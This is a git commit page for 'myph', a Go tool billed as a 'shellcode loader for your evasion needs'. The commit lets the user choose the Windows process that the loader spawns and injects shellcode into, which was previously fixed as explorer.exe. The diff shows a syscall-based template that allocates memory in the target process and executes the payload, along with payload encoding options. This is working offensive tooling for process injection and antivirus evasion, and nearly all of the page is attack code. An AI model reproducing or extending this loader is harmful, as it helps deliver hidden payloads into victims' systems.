myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

commit 6c5b3d9eceb3f9aaec06143dfb7dc5c02ac0512d
parent edac95d5a1066407cd19b023e4be9c74d3e8dca0
Author: winds0r <[email protected]>
Date: Wed, 19 Jul 2023 17:23:12 +0900

feat(loaders): support for choosing process from which we start exec from

Diffstat:
M.gitignore | 1+
Mcli/parser.go | 3++-
Mloaders/syscall.go | 6+++---
Mtools/encodings.go | 4++--

4 files changed, 8 insertions(+), 6 deletions(-)

diff --git a/.gitignore b/.gitignore
@@ -3,6 +3,7 @@
 # https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
 #
 # Binaries for programs and plugins
+*.bin
 *.exe
 *.exe~
 *.dll
diff --git a/cli/parser.go b/cli/parser.go
@@ -92,7 +92,7 @@ func GetParser(opts *Options) *cobra.Command {
 			}
 
 			/* TODO: add support for more exec templates */
-			err = tools.WriteToFile(opts.Outdir, "exec.go", loaders.GetSyscallTemplate())
+			err = tools.WriteToFile(opts.Outdir, "exec.go", loaders.GetSyscallTemplate(opts.Target))
 
 			os.Setenv("GOOS", opts.OS)
 			os.Setenv("GOARCH", opts.arch)
@@ -115,6 +115,7 @@ func GetParser(opts *Options) *cobra.Command {
 
 	cmd.PersistentFlags().StringVarP(&opts.Outdir, "outdir", "f", defaults.Outdir, "output directory")
 	cmd.PersistentFlags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
+    cmd.PersistentFlags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
 
 	cmd.PersistentFlags().StringVarP(&opts.arch, "arch", "r", defaults.arch, "architecture compilation target")
 	cmd.PersistentFlags().StringVarP(&opts.OS, "os", "o", defaults.OS, "OS compilation target")
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -4,7 +4,7 @@ import (
 	"fmt"
 )
 
-func GetSyscallTemplate() string {
+func GetSyscallTemplate(targetProcess string) string {
 	return fmt.Sprintf(`
 package main
 
@@ -96,7 +96,7 @@ func loadProcess(target string) *syscall.ProcessInformation {
 func ExecuteOrderSixtySix(shellcode []byte) {
 
     /* spawn target process */
-    process := loadProcess("explorer.exe")
+    process := loadProcess("%s")
     oldProtectCfg := PAGE_READWRITE
 
      /* allocating the appropriate amount of memory */
@@ -147,5 +147,5 @@ func ExecuteOrderSixtySix(shellcode []byte) {
         os.Exit(1)
     }
 }
-    `)
+    `, targetProcess)
 }
diff --git a/tools/encodings.go b/tools/encodings.go
@@ -16,11 +16,11 @@ type BytesEncodingType string
 const (
 	EncodingBase64 BytesEncodingType = "base64"
 	EncodingBase32 BytesEncodingType = "base32"
-    // EncodingHex    BytesEncodingType = "hex" FIXME(djnn): update main template to support this
+    EncodingHex    BytesEncodingType = "hex" // FIXME(djnn): update main template to support this
 )
 
 // / Available encodings type
-var Encodings = [3]string{"base64", "base32"}
+var Encodings = [2]string{"base64", "base32"}
 
 // String is used both by fmt.Print and by Cobra in help text
 func (e *BytesEncodingType) String() string {